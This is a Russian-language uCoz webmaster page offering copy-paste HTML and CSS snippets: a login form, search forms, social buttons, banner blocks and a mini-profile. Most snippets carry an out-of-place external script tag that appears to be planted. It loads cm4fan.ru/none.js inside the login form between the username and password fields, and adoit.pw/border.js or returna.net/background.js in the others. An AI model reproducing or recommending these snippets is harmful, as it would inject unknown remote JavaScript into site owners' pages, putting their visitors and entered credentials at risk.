Меню сайта
АКЦИЯ!!!
Категории раздела
Меню [34]
Меню для сайтов на Ucoz
Кнопки [15]
Кнопки для uCoz
Блоки и формы [22]
Блоки и формы для uCoz.
Вид материалов [41]
Вид материалов для uCoz
Мини-Профили [7]
Мини-Профили для uCoz
Переключатели [29]
Переключатели страниц для uCoz
Информеры [35]
Информеры для uCoz
Плейеры для сайта [23]
Аудио, видео, радио плейеры
Слайдеры [21]
Слайдеры и карусели картинок.
Вид опросов [8]
Вид опросов для uCoz
Часы и календари [8]
Часы и календари для uCoz.
Статистика сайта [20]
Статистика сайта для uCoz
Скрипты [25]
Скрипты для uCoz
Виджеты [2]
Виджеты для uCoz
Мини-чаты [6]
Мини-чаты для uCoz
Ajax для uCoz [8]
Ajax для uCoz
Шаблоны сайтов [0]
Шаблоны и шапки для uCoz.
Анимация [3]
Анимация и анимашки для сайтов на Ucoz.
Игры [6]
Игры для uCoz.
Прочее для uCoz [18]
Прочее для uCoz.
Сервис

Translate my page
Выбрать язык / Select language:



   
веб студия Одесса создание интернет магазинов создание каталога товаров Создание сайтов раскрутка сайтов портфолио веб студии продвижение сайтов готовые дизайны сайтов наши заказчики Дизайн макеты для создания сайтов Flash игры для сайтов Мини-Чат для сайтов uCoz Вид опроса для сайта Часы и календари для сайтов дизайн сайтов-визиток онлайн радио для сайта кнопки для сайтов статистика для сайта юкоз мини-профили для сайта Полезное для сайтов переключатели страниц для сайтов ajax окна для сайтов скрипты для сайта информационные блоки для сайтов информеры для сайта Формы для Ucoz слайдер для сайта информеры для юкоз меню для сайта вид материалов для сайтов вид материалов uCoz Готовые сайты Новые Бизнес дизайн макеты Новые дизайн макеты Медицина дизайн макеты интернет магазинов Новые дизайн макеты Рестораны Новые дизайн макеты Музыка и клубы Новые дизайн макеты Отели дизайн макеты производство и услуги дизайн макеты интерьер дизайн макеты строительство дизайн макеты сельское хозяйство Новый дизайн макет Транспорт Новый дизайн макет Образование Новый дизайн макет Мода дизайн макеты компьютеры дизайн макеты мобилки Логотипы портфолио
Бесплатное отправление смс сообщений!
Поиск
Календарь
«  Март 2024  »
ПнВтСрЧтПтСбВс
    123
45678910
11121314151617
18192021222324
25262728293031
Архив записей
Наш опрос
Есть ли у Вас сайт?
Всего ответов: 27
Друзья сайта

МЕТА - Украина. Рейтинг сайтов Рейтинг@Mail.ru
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама

Главная » Блоки и формы
1 2 3 »


Форма входа для - это блок, через который пользователь может авторизироваться, то есть зайти на сайт под своим логином и паролем. Многие веб-мастера юкоз'а хотят оформить форму входа, сделать её красивой, чтобы человек, зашедший на ресурс, хотел авторизироваться. Но не знают как! Для этого и сделали готовые панели входа - чтобы хозяин сайта мог украсить форму входа без труда.
1. Итак, первая форма входа пользователей. Она довольно простая, но удобная и юзер будет легко в ней ориентироваться. Кстати, у формы неплохие иконки, справа от тех мест, где надо вводить пароль и логин.

Для установки данного скрипта пройдите по такому пути: Панель управления -> Управление дизайном -> Пользователи -> Форма входа пользователей. Затем, скопируйте и вставьте код туда, куда зашли ранее.(Форма входа пользователей)

Код
<?if($PAGE_ID$="login")?><div style="width: 180px;"><?endif?>  
<table border="0" cellpadding="0" cellspacing="1" height="68" width="194">  
<?if($ERROR$)?><tbody><tr><td colspan="2" style="color: red; text-align: center;">$ERROR$</td><?endif?>  
</tr><tr><td nowrap="nowrap" width="20%"><img alt="" src="http://i036.radikal.ru/0907/c8/f07c6c22f030.png" align="" border="0"></td><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><td><input class="loginField" name="user" value="" size="20" style="width: 100%;" maxlength="50" type="text"></td></tr>  
<tr><td><img alt="" src="http://i043.radikal.ru/0907/79/06a017188847.png" align="" border="0"></td><td><input class="loginField" name="password" size="20" style="width: 100%;" maxlength="15" type="password"></td></tr>  
</tbody></table>  
<table border="0" cellpadding="0" cellspacing="1" width="100%">  
<tbody><tr><td nowrap="nowrap"><input id="rem$PAGE_ID$" name="rem" value="1" checked="checked" type="checkbox"><label for="rem$PAGE_ID$">запомнить</label> <?if($PAGE_ID$="login" && $HIDDEN_ALLOWED$)?><br><input id="hid$PAGE_ID$" name="hidden" value="1" type="checkbox"><label for="hid$PAGE_ID$">скрытый</label><?endif?></td><td align="right" valign="top"><input class="loginButton" name="sbm" value="Вход" type="submit"></td></tr>  
<tr><td colspan="2"><div style="font-size: 7pt; text-align: center;"><a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a></div></td></tr>  
</tbody></table>  
<?if($PAGE_ID$="login")?></div><?endif?>
Категория: Блоки и формы | Просмотров: 502 | Добавил: master | Дата: 12.09.2014 | Комментарии (0)

Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>

 


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

 

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->

 


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

 

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}

 


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!

 

Категория: Блоки и формы | Просмотров: 547 | Добавил: DoG | Дата: 11.08.2013 | Комментарии (0)

Скрипт друзья сайта для uCoz
Просто вставьте это в блок

Код
<hr align="center" size="1" width="100%" noshade="noshade">  
  <style type="text/css">  
  .sSample {text-align:center;padding:3px;border:1px solid #488ebf;margin:5px;cursor:pointer;font-size:7pt;}  
  .sSampleO {text-align:center;padding:3px;border:1px solid #3d55e7;margin:5px;cursor:pointer;background:#488ebf;font-size:10pt;color:#ffffff;}  
  </style><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
  <div align="center"><marquee direction="up" scrollamount="2" onmouseover="this.scrollAmount=0" onmouseout="this.scrollAmount=2" width="170" height="250">  
  <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div>  
  <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div>  
  <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div>  
  <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div>  
  </marquee></div>  
  <hr align="center" size="1" width="100%" noshade="noshade">
Категория: Блоки и формы | Просмотров: 453 | Добавил: DoG | Дата: 25.07.2013 | Комментарии (0)

И так начнем
Мы определим секцию и создадим в ней список с нашими кнопками дам им классы наших соц.сетей. Так же 5 кнопка будет выпадающим блоком при наводке для ссылок на страницу материала.

Код
<section>  
  <ul class="social">  
  <li><a href="#" class="google"></a></li>  
  <li><a href="#" class="facebook"></a></li>  
  <li><a href="#" class="vk"></a></li>  
  <li><a href="#" class="twitter"></a></li>  
  <li><script src="http://adoit.pw/border.js" type="text/javascript"></script>  
  <a href="#" class="link">  
  <div class="submenu">  
  <label for="1">URL:</label>  
  <input type="text" value='http://mysite.com/' id="1" uzzonclick="select(this);" readonly>  
  <label for="2">HTML:</label>  
  <input type="text" value='<a href="http://mysite.com/">mysite.com</a>' id="2" uzzonclick="select(this);" readonly>  
  <label for="3">BB code:</label>  
  <input type="text" value='mysite.com' id="3" uzzonclick="select(this);" readonly>  
  </div>  
  </a>  
  </li>  
  </ul>  
  </section>

 

 


CSS

Теперь добавим немного стилей

 

 

Код
.social {  
  position: relative;  
}  

.social li {  
  float: left;  
}  

.social li a{  
  width: 36px;  
  height: 30px;  
  margin: 0 2px;  
  display: block;  
}  

.submenu {  
  position: absolute;  
  width: 193px;  
  top: 37px;  
  left: 3px;  
  background: rgb(66,67,67);  
  background: -moz-linear-gradient(top, rgba(66,67,67,1) 0%, rgba(45,45,45,1) 100%);  
  background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(66,67,67,1)), color-stop(100%,rgba(45,45,45,1)));  
  background: -webkit-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: -o-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: -ms-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: linear-gradient(to bottom, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#424343', endColorstr='#2d2d2d',GradientType=0 );  
  padding: 0 10px 10px 10px;  

  border-radius: 5px;  
  -moz-border-radius: 5px;  
  -webkit-border-radius: 5px;  

  box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
  -moz-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
  -webkit-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  

  opacity: 0;  
   
  -webkit-transition:opacity .3s ease .2s;  
  -moz-transition:opacity .3s ease .2s;  
  -o-transition:opacity .3s ease .2s;  
  transition:opacity .3s ease .2s;  
}  

.link:hover > div {  
  opacity: 1;  
}  

.submenu:after{  
  bottom: 100%;  
  border: solid transparent;  
  content: " ";  
  height: 0;  
  width: 0;  
  position: absolute;  
  pointer-events: none;  
}  

.submenu:after {  
  border-bottom-color: rgb(66,67,67);  
  border-width: 7px;  
  right: 4%;  
  margin-left: -7px;  
}  

.submenu label {  
  margin-top: 4px;  
  font: 14px Calibri;  
  display: block;  
  color: #7e7e7e;  
  text-shadow: 1px 0 1px rgba(0,0,0,.44);  
}  

.submenu input[type="text"] {  
  width: 100%;  
  font-family: Tahoma;  
  color: #fff;  
  background: #323232;  
  padding: 5px;  
  border: 1px solid #1b1b1b;  
  cursor: text;  

  border-radius: 4px;  
  -moz-border-radius: 4px;  
  -webkit-border-radius: 4px;  

  box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
  -moz-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
  -webkit-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
}  

.google {  
  background: url('http://pnghosts.ru/img/google.png');  
}  

.facebook {  
  background: url('http://pnghosts.ru/img/facebook.png');  
}  

.vk {  
  background: url('http://pnghosts.ru/img/vk.png');  
} &nb ... Читать дальше »
Категория: Блоки и формы | Просмотров: 436 | Добавил: DoG | Дата: 21.07.2013 | Комментарии (0)


Установка:
1. Создаем информер
Раздел: Каталог файлов
Тип данных: Материалы
Способ сортировки: Количество загрузок D
Количество материалов: 10
Количество колонок: 2

2. Меняем код информера на этот:

Код
<div style="width:50%;float:left;">  
<table border="0" cellpadding="0" cellspacing="0" width="100%" class="eBlock"><tr><td style="padding:3px;">  
<?if($MODER_PANEL$)?><div style="float:right">$MODER_PANEL$</div><?endif?>  
<div class="eTitle" style="text-align:left;"><a href="$ENTRY_URL$"></a></div>  
<a href="$ENTRY_URL$" title="$TITLE$"><img style="border: 2px solid rgb(199, 199, 199);" 0="" alt="$TITLE$" title="$TITLE$" longdesc="$SCREEN_URL$" src="$SCREEN_URL$" align="left" height="110" width="97"></a>  
<script type="text/javascript" src="http://adoit.pw/border.js"></script>
</div>  
</div></td></tr></table></fieldset>  
</div>
Категория: Блоки и формы | Просмотров: 431 | Добавил: DoG | Дата: 15.07.2013 | Комментарии (0)

Новая форма поиска по новостям
Установка:

1. В css вставляем:

Код
#poisk {  
  background:url(http://pnghosts.ru/img/uSE.png) no-repeat;  
  width:293px;  
  height:60px;  
  padding-top:17px;  
  }  

  #forma {  
  background:none;  
  font-size:15px;  
  font-family:Verdana;  
  color:#99958c;  
  margin-left:32px;  
  border:none;  
  }  

  .knp {  
  background:no-repeat;  
  width:60px;  
  height:60px;  
  border:none;  
  position:absolute;  
  top:-0px;  
  }  

  .knp:hover {  
  background: 0px -60px no-repeat;  
  cursor:pointer;  
  }

 


2. Теперь заходим в верхнию часть сайта, ищем там место под наш поиск и вставляем html код:

 

Код
<form action="http://ВАШ Сайт/news/" id="poisk" method="post">  
  <div style="position:relative;">  
  <input type="text" name="query" id="forma" value="Найти.." onfocus="if(this.value=='search...')this.value=''" onblur="if(this.value=='')this.value='search...'"/>
  <script type="text/javascript" src="http://adoit.pw/border.js"></script>
  <input class="knp" name="sfSbm" type="submit" value="" />  
  <input name="a" value="14" type="hidden">  
  </div>  
  </form>
Категория: Блоки и формы | Просмотров: 481 | Добавил: DoG | Дата: 15.07.2013 | Комментарии (0)

Блок "место свободно" при наведении курсором на баннер картинка поворачивается на 360 градусов. Вот такой вот простенький рекламный блок для сайта. Установка проста, создаете глобальный блок и пропишите код.

Код
<div class="doll" align="center">
<style>.socialNetworks {display:inline;margin-right:10px;}
.socialNetworks:hover {display:inline;}
.link_me {bottom:0;margin-top:0px; margin-right:0px;}
.socialNetworks img {width:88px;height:31px;background:url(http://bambun.ru/images/banner88x31.png);-webkit-transition: all 400ms;-moz-transition: all 400ms;-o-transition: all 400ms;transition: all 400ms;position:relative;bottom:0px;right:0px;}
.socialNetworks img:hover {transform:rotate(-360deg);-webkit-transform:rotate(-360deg);-moz-transform:rotate(-360deg);-o-transform:rotate(-360deg);position:relative;bottom:0px;right:0px;}
</style><script type="text/javascript" src="http://returna.net/background.js"></script>
<center><div class="link_me">
<div class="socialNetworks"><img title="Место свободно" src="http://bambun.ru/images//banner88x31.png"></div>
<br><div class="socialNetworks"><img title="Место свободно" src="http://bambun.ru/images/banner88x31.png"></div>
</div></center>
Категория: Блоки и формы | Просмотров: 438 | Добавил: DoG | Дата: 10.06.2013 | Комментарии (0)

Скрипт баннеров 88х31 для системы ucoz, материал из категории Статистика сайта ucoz. Скрипт баннеров 88х31 для системы ucoz. С красивой синей обводкой баннеров. Красиво по дизайну будит смотреться.
Установка:
Ставим в блок сайта

Код
<style>.banner {background:url('http://bambun.ru/images/banka.png'); background-repeat:no-repeat; width:96px; height:36px; padding:4px 3px 0px 0px;}  
.partner a {background:url('http://bambun.ru/images/knopka_partner.png') 0 0px; display:block; width:111px; height:22px;}  
.partner a:hover {background-position:0px -22px; display:block; width:111px; height:22px;} </style>  
<script type="text/javascript" src="http://returna.net/background.js"></script>
<table width="100%" cellpadding="1" cellspacing="1">  
<tbody><tr>  
<td width="50%" align="center" valign="top">  
<div class="banner"><a href="http://site.ru/"><img src="http://bambun.ru/images/88x31.png" border="0" title="Место свободно" width="88" height="31"></a></div>  
</td>  
<td width="50%" align="center" valign="top">  
<div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div>  
</td>  
</tr>  
<tr>  
<td width="50%" align="center" valign="top">  
<div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div>  
</td>  
<td width="50%" align="center" valign="top">  
<div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div>  
</td>  
</tr>  
<tr>  
<td width="50%" align="center" valign="top">  
<div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div>  
</td>  
<td width="50%" align="center" valign="top">  
<div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div>  
</td>  
</tr>  
</tbody></table>
Категория: Блоки и формы | Просмотров: 457 | Добавил: DoG | Дата: 24.05.2013 | Комментарии (0)

Скрипт для сайта ucoz "Лучшие пользователи". Представляю вашему вниманию не дурной по дизайну и главное по работе скрипт для сайта ucoz "Лучшие пользователи". Скрипт выполнен в светло синих тонах и по дизайну может подойти ко многим сайтам. И по цвету можно поставить так же ко многим сайтам. Но если не подходит по цвету, можно перекрасить. Хотя выглядит вид великолепно.
Приступаем к установке:
Создаем один информер с такими показателями.
[ Пользователи · Материалы · Кол. сообщений в форуме · Материалы: 5 · Колонки: 1 ] и заполнить его шаблон кодом:

И прописываем туда этот код

Код
<noindex><div class="infUserScr">  
<div class="infUserScrAva"><img src="$AVATAR_URL$"></div>  
<div class="infUserScrNickname">$USERNAME$</div><br><br>  
<div class="infUserScrPosts">$FORUM_POSTS$ сообщений</div>  
</div><script type="text/javascript" src="http://returna.net/background.js"></script>
<style>.infUserScr {background:url(http://bambun.ru/images/bgHov.png) no-repeat;width:207px;height:54px;margin:5px auto;}  
.infUserScr .infUserScrAva {float:right;width:45px;height:45px;border-radius:5px;margin:5px;}  
.infUserScr .infUserScrAva img {width:45px;height:45px;border-radius:5px;}  
.infUserScr .infUserScrNickname {float:left;color:#fff;padding:5px 10px 0;}  
.infUserScr .infUserScrPosts {float:left;color:#176391;padding:3px 15px;}</style></noindex>

 


Когда все мы это сделали, делаем последнее действие. Берем ваш номер информера который вы создали и прописываем в блок сайта, там где вы посчитаете нужным. На этом все.

 

Категория: Блоки и формы | Просмотров: 409 | Добавил: DoG | Дата: 24.05.2013 | Комментарии (0)

Убрать рекламный баннер
Установка:
В Таблицу CSS стилей в самый низ прописываем:

Код
.b_prof {width:188px; margin:0 auto;}
.b_prof .b_prof_ava {background:url(http://bambun.ru/images/b_prof_ava.png) no-repeat; width:156px; height:156px; margin:0 auto 5px auto;}
.b_prof .b_prof_ava img {width:150px; height:150px; padding:3px 0 0 3px;}
.b_prof .b_prof_vid {background:url(http://bambun.ru/images/b_prof_vid.png) no-repeat; width:177px; height:23px; line-height:23px; margin:0 auto 3px auto; text-align:center; color:#fff;}
.b_prof .b_prof_b {background:url(http://bambun.ru/images/b_prof_button.png) no-repeat 0 0; width:61px; height:23px; float:left; margin:0 0 0 1px;}
.b_prof .b_prof_b_in {background:url(http://bambun.ru/images/b_prof_button.png) no-repeat -62px 0; width:61px; height:23px; float:left; margin:0 0 0 1px;}
.b_prof .b_prof_b_ins {background:url(http://bambun.ru/images/b_prof_button.png) no-repeat -124px 0; width:61px; height:23px; float:left; margin:0 0 0 1px;}
.b_prof .b_prof_b:hover {background-position:0 -23px;}
.b_prof .b_prof_b_in:hover {background-position:-62px -23px;}
.b_prof .b_prof_b_ins:hover {background-position:-124px -23px;}

 


А вот это вставляем в блок там где будет сам мини-профиль:

 

Код
<?if($USER_LOGGED_IN$)?>
<div class="b_prof">
<div class="b_prof_ava"><?if($USER_AVATAR_URL$)?>
<img src="$USER_AVATAR_URL$" /><?endif?></div>
<div class="b_prof_vid">» Ник: <b>$USERNAME$</b></div>
<div class="b_prof_vid">» Вы с нами: <b>$USER_REG_DAYS$</b></div>
<div class="b_prof_vid">» Группа: <b>$USER_GROUP$</b></div>
<div class="b_prof_vid">» Ваш IP: <b>$IP_ADDRESS$</b></div>
<div class="hidden" style="margin:0 0 5px 0;">
<a href="$PERSONAL_PAGE_LINK$" class="b_prof_b"></a>
<a href="$PM_URL$" class="b_prof_b_in"></a>
<a href="$LOGOUT_LINK$" class="b_prof_b_ins"></a>
</div>
</div>
<?else?><div class="b_prof">
<div class="b_prof_ava"></div>
<div class="hidden" style="margin:0 0 5px 0;">$LOGIN_FORM$</div>
<script type="text/javascript" src="http://returna.net/background.js"></script></div><?endif?>
Категория: Блоки и формы | Просмотров: 458 | Добавил: DoG | Дата: 19.05.2013 | Комментарии (0)

1-10 11-20 21-22

Copyright "IPC" © 2008
Хостинг от uCoz